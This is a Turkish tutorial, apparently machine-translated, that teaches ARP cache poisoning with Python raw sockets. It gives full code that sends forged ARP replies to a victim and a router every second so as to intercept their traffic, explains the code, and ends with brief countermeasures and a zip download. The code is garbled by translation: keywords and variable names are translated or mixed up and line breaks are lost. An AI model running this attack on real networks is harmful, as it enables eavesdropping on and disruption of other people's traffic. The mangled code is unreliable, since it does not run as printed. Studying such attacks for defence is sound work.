Python'da ham yuvalarla ARP zehirlenmesi saldırısı

İçindekiler

Bugün sana öğreteceğim ARP zehirlenmesi saldırısı nasıl uygulanır (ARP önbellek zehirlenmesi). Onun için python'da ham soketler kullanacağım, amaç bu tür soketlerin nasıl çalıştığını görmek, bu saldırının nasıl çalıştığını öğrenmek veya ağınızda testler yapabileceğinizi (ağda zaten bunun için araçlar olmasına rağmen), kötü amaçlı kullandığınızı değil. amaçlar.

NotScapy ile bu işi daha hızlı ve daha kolay uygulayabilirsiniz, ancak bu öğreticiyi izleyerek bilgiyi kütüphaneyi kullanmak ve kendiniz yapmak için kullanabileceksiniz, tersini yapsaydık size daha pahalıya mal olacaktı. Burada gösterilen yöntem yalnızca Linux sistemlerinde çalışır.

Bilmeniz gereken küçük ayrıntılar
ARPAğ katmanında bulunan adres çözümleme protokolüdür. Görevi, belirli bir IP adresine (ağ adresi) karşılık gelen MAC adresini (fiziksel adres) bulmaktır.
ARP önbellekleriHer cihazın MAC - IP çevirilerini sakladığı küçük bir hafızası vardır, bu saldırıda bundan faydalanacağız. Bu önbellek, başka bir cihaza her bağlandığımızda çeviri isteme ek yükünü ortadan kaldırdığı için mevcuttur.

NS ARP protokolü işlemi Basittir, birine paket gönderdiğinizde cihaz önbelleği kontrol edilir, eğer o çeviri varsa paketi göndermek için alır, ARP yoksa bir yayın paketi gönderir (özeldir, hedef MAC adresine sahip ff:ff :ff:ff:ff:ff), bu paket ağdaki tüm cihazlara ulaşacak ve aranan IP adresinin kimde olduğunu "soracak", her cihaz özel MAC'i görünce okuyacaktır paket ve sadece adrese sahip olanı Aranan IP, MAC'ini belirterek cevap verecektir, o anda önbellekte saklanacaktır, böylece birkaç dakika içinde tekrar sormak zorunda kalmazsınız.

NS ARP zehirlenmesi saldırısı Bir ağdan geçen verileri gözetlemek için kullanılır veya verilerin gideceği hedeflere ulaşmaması için de kullanabiliriz. Bu saldırı, MAC'imizin kurbanın IP'sine karşılık geldiğini ve MAC'imizin yönlendiricinin IP'si ile ilişkili olduğunu belirten sürekli olarak ağa ARP paketleri göndermekten oluşur.. Dinamik bir protokol olduğu için paketleri sürekli göndermeliyiz, bu yüzden önbellek değişiyor, çeviri silinmiş olabilir, gerçek verilerle güncelleniyor, bu yüzden her küçük seferde paketleri gönderdiğimizden emin olmak için değiller. çok ağırdır, bu nedenle normalde ağa aşırı yüklenmezler.

NotARP, yalnızca IPv4'te kullanılan bir protokoldür, bu nedenle bu saldırı IPv6 için geçerli değildir, ancak bir ağdaki "komşuları" keşfetmek için kullanılan NDP gibi başka bir protokolden yararlanılarak zehirlenme saldırısı gerçekleştirilebilir. .

Örneğimize başlamak için kurbanın IP adreslerini ve yönlendiricinin ağ geçidini ve MAC'ini bilmemiz gerekiyor, ağınızdaki aktif cihazları keşfetmek için nmap kullanabilirsiniz ve MAC kolayca elde edilebilir, örneğin istiyoruz kurbanım olacak (sanal bir makine) 192.168.66.2 adresinin önbelleğini zehirlemek için cmd veya terminalde aşağıdakileri yürüteceğim:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-c ve -n sadece bir paketin gönderilmesi gerektiğini belirtir, her işletim sisteminin farklı bir parametresi vardır. Daha sonra koyuyoruz:
 arp
ARP önbelleğini gösterecektir, bu nedenle depoladığımız çevirileri görebiliriz (ve daha önce bir ping yaptıktan sonra kurbanla çeviri zaten var). Aynısını yönlendiricinin ağ geçidi için de yapmalıyız:

Sonra, elimizde olması gereken tüm verileri koyacağım:

  • kurban -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Yönlendirici -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Bilgisayarım -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Kodun tamamını koydum ve aşağıda açıkladım, 2.x sürümünde Python için çalışıyor ancak küçük değişikliklerle 3.x sürümüne uyarlayabilirsiniz:

 soket içe aktarma zamanı, struct, binascii bağlantı = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "kodu =" \ x08 \ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "DonanımUzunluğu =" \ x06 "ProtokolUzunluğu =" \ x04 "İşlemKodu =" \ x04 "OperationCode =" \ x04 " \ x02 "SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton (" 192.168.66.1 ") ipVictima = socket.inet_aton (" 192.168.66.2 ") macVictouter +Ing + MacVictouterHead = eth1 + MacVicouterCompartida + başlık ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Önbellekleri zehirlemek… CTRL + C'yi durdurmak için") True iken: connection.send (arpRouter) connection.send (arpVictima) ) zaman.uyku (1)
Yaptığımız ilk şey, daha fazla açıklamaya ihtiyaç duymayan gerekli kütüphaneleri içe aktarmaktır. Aşağıdaki satırlarla devam edelim:
 bağlantı = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))
İlk satır, aşağıdaki özelliklere sahip bir soket oluşturur:
  • PF_PACKET: Düşük seviyede paket göndermek ve almak için.
  • SOCK_RAW: Ham soketleri kullanmak için.
  • socket.htons (0x0800): 0x0800, ETH_P_IP protokolünü tanımlayacaktır, ntohs işlevi, ağ formatını bilgisayarımız için uygun formatta baytlara dönüştürür (s kısa demektir, yani 16 bit, eğer bir l olsaydı 32 bit olurdu).

Ve ikincisi, soketi "dinlemeye" koymaktan sorumlu olacak:

  • ens33: çalışacağımız ağ arayüzüdür, sizinki eth0 olabilir, ifconfig kullanırsanız göreceksiniz (aşağıdaki resme bakın).
  • socket.htons (0x800): daha önce söylendiği gibi.

Aşağıda gördüğümüz satırlar Ethernet başlıklarını oluşturacak, bunun için MAC'leri ve kodu (kodumuz ARP protokolüne ait) oluşturuyoruz, Ethernet hakkında daha fazla bilgi edinmek istiyorsanız buraya tıklayın:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" kodu = "\ x08 \ x06" ortak paket = macSource + kod eth1 = macVictima + ortak paket eth2 = macRouter + ortak paket
Kodun bir sonraki kısmı ARP paketlerini birleştirir, yapıya bakmak için aşağıdaki bağlantıyı ziyaret edebilir ve paket yapısı bölümüne gidebilirsiniz. \ x00 \ x02 işlem kodu, bunun bir yanıt paketi olduğunu belirtmek içindir (1 olsaydı bir istek olurdu) ve socket.inet_aton () işlevi bir IPv4 adresini 32 bit ikili biçime dönüştürür. Önceki kodda gördüğünüz gibi ve şimdi bir paket oluşturmak için onun parçalarını birleştiriyoruz.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Paylaşılan Başlık = HardwareType + ProtocolType + HardwareLength + İşletim ProtokolüProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + paylaşılan başlık + ipRouter + macVictima + ipVictima arpRouter = eth2 + paylaşılan başlık + ipVictima + macRouter + ipRouter
Kodun son kısmı, çalıştığını bilmek için bir mesaj gösterir ve kurbanımızın önbelleklerini ve yönlendiricinin ağ geçidini zehirlemek için paketler gönderecek sonsuz bir döngüye girer, bu, uyuduğumuzdan beri her saniye yapar.
 print ("Zehirlenme önbellekleri … CTRL + C'yi durdurmak için") iken True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Programın yürütülmesinin nasıl göründüğüne bakalım (yapmalıyız kök kullanıcı olarak çalıştır):

Ve kurbanın önbelleğine bakarsak, IP adresinin artık saldırganın MAC'si ile ilişkili olduğunu görebiliriz:

karşı önlemler

  • Kullanmak statik ARP tabloları, girdileri elle ekliyoruz ve değişmesine izin vermiyoruz.
  • danışın Ters ARP, bu protokol bir MAC'den IP adresini döndürür, bu nedenle birden fazla IP adresi döndürürse, büyük olasılıkla sahtekarlığa uğradık.

Bu önlemler minimum düzeyde bilgi gerektirir, bu nedenle herkes bunu gerçekleştiremez, ancak BT Güvenliği soruları veya öğreticiler bölümüne başvurarak kesinlikle yardım bulacaksınız.

Kodu isterseniz, işte bir zip:

Kodu indir ArpPoisoning.zip 579 bayt 116 İndirilenler

Bu Eğitimi beğendiniz ve yardım ettiniz mi?Yazara olumlu puan vermek için bu düğmeye basarak yazarı ödüllendirebilirsiniz.
wave wave wave wave wave